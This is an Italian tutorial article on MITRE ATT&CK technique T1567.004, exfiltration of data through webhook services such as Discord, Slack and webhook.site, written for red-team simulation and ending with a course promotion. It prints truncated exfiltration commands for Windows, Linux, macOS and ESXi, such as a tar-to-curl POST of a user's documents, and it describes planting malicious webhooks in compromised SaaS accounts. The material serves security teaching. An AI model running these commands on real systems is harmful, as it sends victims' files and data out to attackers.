Esfiltrazione via Webhook: Exfiltration Over Webhook (T1567.004)
La tecnica T1567.004 - Exfiltration Over Webhook descrive l'abuso di endpoint webhook pubblici o commerciali come canale alternativo per l'esfiltrazione di dati, in sostituzione o affiancamento al canale C2 primario. Si colloca nella tattica TA0010 (Exfiltration) del framework MITRE ATT&CK e rappresenta una fase avanzata della kill chain, tipicamente successiva alla raccolta e allo staging delle informazioni sensibili.
Un webhook è un meccanismo che consente a un server di inviare dati via HTTP/S verso un client senza polling continuo. Servizi come Discord, Slack e webhook.site offrono la creazione di endpoint riceventi con configurazione minima, spesso senza autenticazione forte. L'avversario può collegare un ambiente sotto il proprio controllo a un servizio SaaS della vittima per ottenere esfiltrazione automatizzata di email, chat e documenti, oppure inviare manualmente payload stagerati direttamente all'URL.
Due caratteristiche rendono la tecnica particolarmente insidiosa. La prima è che il traffico viaggia su HTTPS verso domini legittimi ampiamente utilizzati in ambito aziendale, mimetizzandosi con il traffico collaborativo lecito. La seconda è l'assenza di infrastruttura C2 dedicata da mantenere: l'attaccante sfrutta piattaforme di terze parti che spesso non sono bloccate dai proxy aziendali proprio perché considerate business-critical. L'impatto tipico include furto di proprietà intellettuale, credenziali, dati PII e comunicazioni riservate, con difficoltà di attribuzione elevate data la natura condivisa dei servizi coinvolti.
In un esercizio red team autorizzato, la simulazione di T1567.004 richiede la creazione di un endpoint ricevente controllato e la generazione di traffico realistico verso di esso. Il tool più immediato per il proof-of-concept è webhook.site (freemium), che fornisce un URL univoco e mostra in tempo reale i payload ricevuti — utile per validare la catena senza dover configurare infrastruttura.
Su Windows, la catena tipica prevede staging locale seguito da POST HTTPS. Con PowerShell nativo, dopo aver compresso una cartella target, l'invio si realizza con Invoke-WebRequest -Uri
Su Linux, la simulazione è ancora più diretta. Dopo aver raccolto file sensibili, un one-liner come tar czf - /home/user/docs | curl -X POST --data-binary @-
Su macOS l'approccio combina AppleScript e utility CLI. Un flusso realistico legge la clipboard o file specifici con osascript, poi trasmette con curl -X POST -H 'Content-Type: application/json' -d @payload.json
Su ESXi, il vettore sfrutta l'accesso alla console o a script di gestione: dopo aver copiato file .vmdk o log da hostd, l'invio avviene con curl dalla shell ESXi verso il webhook esterno.
Per scenari SaaS, la parte più insidiosa consiste nel registrare un webhook malevolo su servizi come Jira, GitHub o Trello compromessi via account privilegiato. Ogni evento sul progetto genera automaticamente un POST verso l'endpoint dell'attaccante, realizzando esfiltrazione continua senza ulteriore interazione. Strumenti come Burp Suite (freemium) e mitmproxy (open source) sono utili in laboratorio per ispezionare e modificare i payload trasmessi durante il test.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo